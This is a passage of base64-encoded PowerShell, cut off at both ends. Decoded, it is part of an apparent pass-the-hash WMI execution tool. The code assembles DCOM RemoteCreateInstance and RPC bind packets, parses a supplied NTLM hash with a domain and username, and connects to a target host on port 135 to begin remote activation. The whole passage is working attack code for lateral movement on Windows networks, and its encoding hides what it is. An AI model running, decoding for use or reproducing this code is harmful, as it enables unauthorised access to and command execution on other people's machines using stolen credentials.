lcnRpZXNQcm9wZXJ0aWVzQWN0aXZhdGlvbkNvbnRleHRJbmZvUmVzZXJ2ZWQzIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc0FjdGl2YXRpb25Db250ZXh0SW5mb0NsaWVudFB0clJlZmVyZW50SUQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAyLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzQWN0aXZhdGlvbkNvbnRleHRJbmZvTlVMTFB0ciIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNBY3RpdmF0aW9uQ29udGV4dEluZm9DbGllbnRQdHJDbGllbnRDb250ZXh0VW5rbm93biIsW0J5dGVbXV0oMHg2MCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNBY3RpdmF0aW9uQ29udGV4dEluZm9DbGllbnRQdHJDbGllbnRDb250ZXh0Q250RGF0YSIsW0J5dGVbXV0oMHg2MCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNBY3RpdmF0aW9uQ29udGV4dEluZm9DbGllbnRQdHJDbGllbnRDb250ZXh0T0JKUkVGU2lnbmF0dXJlIixbQnl0ZVtdXSgweDRkLDB4NDUsMHg0ZiwweDU3KSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc0FjdGl2YXRpb25Db250ZXh0SW5mb0NsaWVudFB0ckNsaWVudENvbnRleHRPQkpSRUZGbGFncyIsW0J5dGVbXV0oMHgwNCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNBY3RpdmF0aW9uQ29udGV4dEluZm9DbGllbnRQdHJDbGllbnRDb250ZXh0T0JKUkVGSUlEIixbQnl0ZVtdXSgweGMwLDB4MDEsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHhjMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDQ2KSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc0FjdGl2YXRpb25Db250ZXh0SW5mb0NsaWVudFB0ckNsaWVudENvbnRleHRPQkpSRUZDVVNUT01PQkpSRUZDTFNJRCIsW0J5dGVbXV0oMHgzYiwweDAzLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4YzAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHg0NikpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNBY3RpdmF0aW9uQ29udGV4dEluZm9DbGllbnRQdHJDbGllbnRDb250ZXh0T0JKUkVGQ1VTVE9NT0JKUkVGQ0JFeHRlbnNpb24iLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzQWN0aXZhdGlvbkNvbnRleHRJbmZvQ2xpZW50UHRyQ2xpZW50Q29udGV4dE9CSlJFRkNVU1RPTU9CSlJFRlNpemUiLFtCeXRlW11dKDB4MzAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzQWN0aXZhdGlvbkNvbnRleHRJbmZvVW51c2VkQnVmZmVyIixbQnl0ZVtdXSgweDAxLDB4MDAsMHgwMSwweDAwLDB4NjMsMHgyYywweDgwLDB4MmEsMHhhNSwweGQyLDB4YWYsMHhkZCwweDRkLDB4YzQsMHhiYiwweDM3LDB4NGQsMHgzNywweDc2LDB4ZDcsMHgwMiwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMSwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNTZWN1cml0eUluZm9Db21tb25IZWFkZXIiLFtCeXRlW11dKDB4MDEsMHgxMCwweDA4LDB4MDAsMHhjYywweGNjLDB4Y2MsMHhjYykpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNTZWN1cml0eUluZm9Qcml2YXRlSGVhZGVyIiwkcGFja2V0X3ByaXZhdGVfaGVhZGVyKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzU2VjdXJpdHlJbmZvQXV0aGVudGljYXRpb25GbGFncyIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNTZWN1cml0eUluZm9TZXJ2ZXJJbmZvUHRyUmVmZXJlbnRJRCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDIsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNTZWN1cml0eUluZm9OVUxMUHRyIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc1NlY3VyaXR5SW5mb1NlcnZlckluZm9TZXJ2ZXJJbmZvUmVzZXJ2ZWQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzU2VjdXJpdHlJbmZvU2VydmVySW5mb1NlcnZlckluZm9OYW1lUmVmZXJlbnRJRCIsW0J5dGVbXV0oMHgwNCwweDAwLDB4MDIsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNTZWN1cml0eUluZm9TZXJ2ZXJJbmZvU2VydmVySW5mb05VTExQdHIiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzU2VjdXJpdHlJbmZvU2VydmVySW5mb1NlcnZlckluZm9SZXNlcnZlZDIiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzU2VjdXJpdHlJbmZvU2VydmVySW5mb1NlcnZlckluZm9OYW1lTWF4Q291bnQiLCRwYWNrZXRfdGFyZ2V0X2xlbmd0aCkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc1NlY3VyaXR5SW5mb1NlcnZlckluZm9TZXJ2ZXJJbmZvTmFtZU9mZnNldCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNTZWN1cml0eUluZm9TZXJ2ZXJJbmZvU2VydmVySW5mb05hbWVBY3R1YWxDb3VudCIsJHBhY2tldF90YXJnZXRfbGVuZ3RoKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzU2VjdXJpdHlJbmZvU2VydmVySW5mb1NlcnZlckluZm9OYW1lU3RyaW5nIiwkcGFja2V0X3RhcmdldF91bmljb2RlKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzTG9jYXRpb25JbmZvQ29tbW9uSGVhZGVyIixbQnl0ZVtdXSgweDAxLDB4MTAsMHgwOCwweDAwLDB4Y2MsMHhjYywweGNjLDB4Y2MpKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzTG9jYXRpb25JbmZvUHJpdmF0ZUhlYWRlciIsW0J5dGVbXV0oMHgxMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc0xvY2F0aW9uSW5mb05VTExQdHIiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzTG9jYXRpb25JbmZvUHJvY2Vzc0lEIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc0xvY2F0aW9uSW5mb0FwYXJ0bWVudElEIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc0xvY2F0aW9uSW5mb0NvbnRleHRJRCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNTY21SZXF1ZXN0SW5mb0NvbW1vbkhlYWRlciIsW0J5dGVbXV0oMHgwMSwweDEwLDB4MDgsMHgwMCwweGNjLDB4Y2MsMHhjYywweGNjKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc1NjbVJlcXVlc3RJbmZvUHJpdmF0ZUhlYWRlciIsW0J5dGVbXV0oMHgyMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc1NjbVJlcXVlc3RJbmZvTlVMTFB0ciIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNTY21SZXF1ZXN0SW5mb1JlbW90ZVJlcXVlc3RQdHJSZWZlcmVudElEIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMiwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc1NjbVJlcXVlc3RJbmZvUmVtb3RlUmVxdWVzdFB0clJlbW90ZVJlcXVlc3RDbGllbnRJbXBlcnNvbmF0aW9uTGV2ZWwiLFtCeXRlW11dKDB4MDIsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzU2NtUmVxdWVzdEluZm9SZW1vdGVSZXF1ZXN0UHRyUmVtb3RlUmVxdWVzdE51bVByb3RvY29sU2VxdWVuY2VzIixbQnl0ZVtdXSgweDAxLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzU2NtUmVxdWVzdEluZm9SZW1vdGVSZXF1ZXN0UHRyUmVtb3RlUmVxdWVzdFVua25vd24iLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNTY21SZXF1ZXN0SW5mb1JlbW90ZVJlcXVlc3RQdHJSZW1vdGVSZXF1ZXN0UHJvdG9jb2xTZXFzQXJyYXlQdHJSZWZlcmVudElEIixbQnl0ZVtdXSgweDA0LDB4MDAsMHgwMiwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc1NjbVJlcXVlc3RJbmZvUmVtb3RlUmVxdWVzdFB0clJlbW90ZVJlcXVlc3RQcm90b2NvbFNlcXNBcnJheVB0ck1heENvdW50IixbQnl0ZVtdXSgweDAxLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc1NjbVJlcXVlc3RJbmZvUmVtb3RlUmVxdWVzdFB0clJlbW90ZVJlcXVlc3RQcm90b2NvbFNlcXNBcnJheVB0clByb3RvY29sU2VxIixbQnl0ZVtdXSgweDA3LDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzU2NtUmVxdWVzdEluZm9VbnVzZWRCdWZmZXIiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwKSkNCg0KICAgIHJldHVybiAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZQ0KfQ0KDQpmdW5jdGlvbiBEYXRhTGVuZ3RoMg0Kew0KICAgIHBhcmFtIChbSW50XSRsZW5ndGhfc3RhcnQsW0J5dGVbXV0kc3RyaW5nX2V4dHJhY3RfZGF0YSkNCg0KICAgICRzdHJpbmdfbGVuZ3RoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpUb1VJbnQxNigkc3RyaW5nX2V4dHJhY3RfZGF0YVskbGVuZ3RoX3N0YXJ0Li4oJGxlbmd0aF9zdGFydCArIDEpXSwwKQ0KDQogICAgcmV0dXJuICRzdHJpbmdfbGVuZ3RoDQp9DQoNCmlmKCRoYXNoIC1saWtlICIqOioiKQ0Kew0KICAgICRoYXNoID0gJGhhc2guU3ViU3RyaW5nKCgkaGFzaC5JbmRleE9mKCI6IikgKyAxKSwzMikNCn0NCg0KaWYoJERvbWFpbikNCnsNCiAgICAkb3V0cHV0X3VzZXJuYW1lID0gJERvbWFpbiArICJcIiArICRVc2VybmFtZQ0KfQ0KZWxzZQ0Kew0KICAgICRvdXRwdXRfdXNlcm5hbWUgPSAkVXNlcm5hbWUNCn0NCg0KaWYoJFRhcmdldCAtZXEgJ2xvY2FsaG9zdCcpDQp7DQogICAgJFRhcmdldCA9ICIxMjcuMC4wLjEiDQp9DQoNCnRyeQ0Kew0KICAgICR0YXJnZXRfdHlwZSA9IFtJUEFkZHJlc3NdJFRhcmdldA0KICAgICR0YXJnZXRfc2hvcnQgPSAkdGFyZ2V0X2xvbmcgPSAkVGFyZ2V0DQp9DQpjYXRjaA0Kew0KICAgICR0YXJnZXRfbG9uZyA9ICRUYXJnZXQNCg0KICAgIGlmKCRUYXJnZXQgLWxpa2UgIiouKiIpDQogICAgew0KICAgICAgICAkdGFyZ2V0X3Nob3J0X2luZGV4ID0gJFRhcmdldC5JbmRleE9mKCIuIikNCiAgICAgICAgJHRhcmdldF9zaG9ydCA9ICRUYXJnZXQuU3Vic3RyaW5nKDAsJHRhcmdldF9zaG9ydF9pbmRleCkNCiAgICB9DQogICAgZWxzZQ0KICAgIHsNCiAgICAgICAgJHRhcmdldF9zaG9ydCA9ICRUYXJnZXQNCiAgICB9DQoNCn0NCg0KJHByb2Nlc3NfSUQgPSBbU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3NdOjpHZXRDdXJyZW50UHJvY2VzcygpIHwgU2VsZWN0LU9iamVjdCAtZXhwYW5kIGlkDQokcHJvY2Vzc19JRCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkcHJvY2Vzc19JRCkpDQokcHJvY2Vzc19JRCA9ICRwcm9jZXNzX0lEIC1yZXBsYWNlICItMDAtMDAiLCIiDQpbQnl0ZVtdXSRwcm9jZXNzX0lEX2J5dGVzID0gJHByb2Nlc3NfSUQuU3BsaXQoIi0iKSB8IEZvckVhY2gtT2JqZWN0e1tDaGFyXVtTeXN0ZW0uQ29udmVydF06OlRvSW50MTYoJF8sMTYpfQ0KV3JpdGUtVmVyYm9zZSAiQ29ubmVjdGluZyB0byAkVGFyZ2V0YDoxMzUiDQokV01JX2NsaWVudF9pbml0ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlNvY2tldHMuVENQQ2xpZW50DQokV01JX2NsaWVudF9pbml0LkNsaWVudC5SZWNlaXZlVGltZW91dCA9IDMwMDAwDQoNCnRyeQ0Kew0KICAgICRXTUlfY2xpZW50X2luaXQuQ29ubmVjdCgkVGFyZ2V0LCIxMzUiKQ0KfQ0KY2F0Y2gNCnsNCiAgICBXcml0ZS1PdXRwdXQgIiRUYXJnZXQgZGlkIG5vdCByZXNwb25kIg0KfQ0KDQppZigkV01JX2NsaWVudF9pbml0LkNvbm5lY3RlZCkNCnsNCiAgICAkV01JX2NsaWVudF9zdHJlYW1faW5pdCA9ICRXTUlfY2xpZW50X2luaXQuR2V0U3RyZWFtKCkNCiAgICAkV01JX2NsaWVudF9yZWNlaXZlID0gTmV3LU9iamVjdCBTeXN0ZW0uQnl0ZVtdIDIwNDgNCiAgICAkUlBDX1VVSUQgPSAweGM0LDB4ZmUsMHhmYywweDk5LDB4NjAsMHg1MiwweDFiLDB4MTAsMHhiYiwweGNiLDB4MDAsMHhhYSwweDAwLDB4MjEsMHgzNCwweDdhDQogICAgJHBhY2tldF9SUEMgPSBHZXQtUGFja2V0UlBDQmluZCAyIDB4ZDAsMHgxNiAweDAyIDB4MDAsMHgwMCAkUlBDX1VVSUQgMHgwMCwweDAwDQogICAgJHBhY2tldF9SUENbIlJQQ0JpbmRfRnJhZ0xlbmd0aCJdID0gMHg3NCwweDAwICAgIA0KICAgICRSUEMgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1JQQw0KICAgICRXTUlfY2xpZW50X3NlbmQgPSAkUlBDDQogICAgJFdNSV9jbGllbnRfc3RyZWFtX2luaXQuV3JpdGUoJFdNSV9jbGllbnRfc2VuZCwwLCRXTUlfY2xpZW50X3NlbmQuTGVuZ3RoKSA+ICRudWxsDQogICAgJFdNSV9jbGllbnRfc3RyZWFtX2luaXQuRmx1c2goKSAgICANCiAgICAkV01JX2NsaWVudF9zdHJlYW1faW5pdC5SZWFkKCRXTUlfY2xpZW50X3JlY2VpdmUsMCwkV01JX2NsaWVudF9yZWNlaXZlLkxlbmd0aCkgPiAkbnVsbA0KICAgICRhc3NvY19ncm91cCA9ICRXTUlfY2xpZW50X3JlY2VpdmVbMjAuLjIzXQ0KICAgICRwYWNrZXRfUlBDID0gR2V0LVBhY2tldFJQQ1JlcXVlc3QgMHgwMyAwIDAgMCAweDAyLDB4MDAsMHgwMCwweDAwIDB4MDAsMHgwMCAweDA1LDB4MDANCiAgICAkUlBDID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9SUEMNCiAgICAkV01JX2NsaWVudF9zZW5kID0gJFJQQw0KICAgICRXTUlfY2xpZW50X3N0cmVhbV9pbml0LldyaXRlKCRXTUlfY2xpZW50X3NlbmQsMCwkV01JX2NsaWVudF9zZW5kLkxlbmd0aCkgPiAkbnVsbA0KICAgICRXTUlfY2xpZW50X3N0cmVhbV9pbml0LkZsdXNoKCkgICAgDQogICAgJFdNSV9jbGllbnRfc3RyZWFtX2luaXQuUmVhZCgkV01JX2NsaWVudF9yZWNlaXZlLDAsJFdNSV9jbGllbnRfcmVjZWl2ZS5MZW5ndGgpID4gJG51bGwNCiAgICAkV01JX2hvc3RuYW1lX3VuaWNvZGUgPSAkV01JX2NsaWVudF9yZWNlaXZlWzQyLi4kV01JX2NsaWVudF9yZWNlaXZlLkxlbmd0aF0NCiAgICAkV01JX2hvc3RuYW1lID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpUb1N0cmluZygkV01JX2hvc3RuYW1lX3VuaWNvZGUpDQogICAgJFdNSV9ob3N0bmFtZV9pbmRleCA9ICRXTUlfaG9zdG5hbWUuSW5kZXhPZigiLTAwLTAwLTAwIikNCiAgICAkV01JX2hvc3RuYW1lID0gJFdNSV9ob3N0bmFtZS5TdWJTdHJpbmcoMCwkV01JX2hvc3RuYW1lX2luZGV4KQ0KICAgICRXTUlfaG9zdG5hbWUgPSAkV01JX2hvc3RuYW1lIC1yZXBsYWNlICItMDAiLCIiDQogICAgJFdNSV9ob3N0bmFtZSA9ICRXTUlfaG9zdG5hbWUuU3BsaXQoIi0iKSB8IEZvckVhY2gtT2JqZWN0e1tDaGFyXVtTeXN0ZW0uQ29udmVydF06OlRvSW50MTYoJF8sMTYpfQ0KICAgICRXTUlfaG9zdG5hbWUgPSBOZXctT2JqZWN0IFN5c3RlbS5TdHJpbmcgKCRXTUlfaG9zdG5hbWUsMCwkV01JX2hvc3RuYW1lLkxlbmd0aCkNCg0KICAgIGlmKCR0YXJnZXRfc2hvcnQgLWNuZSAkV01JX2hvc3RuYW1lKQ0KICAgIHsNCiAgICAgICAgV3JpdGUtVmVyYm9zZSAiV01JIHJlcG9ydHMgdGFyZ2V0IGhvc3RuYW1lIGFzICRXTUlfaG9zdG5hbWUiDQogICAgICAgICR0YXJnZXRfc2hvcnQgPSAkV01JX2hvc3R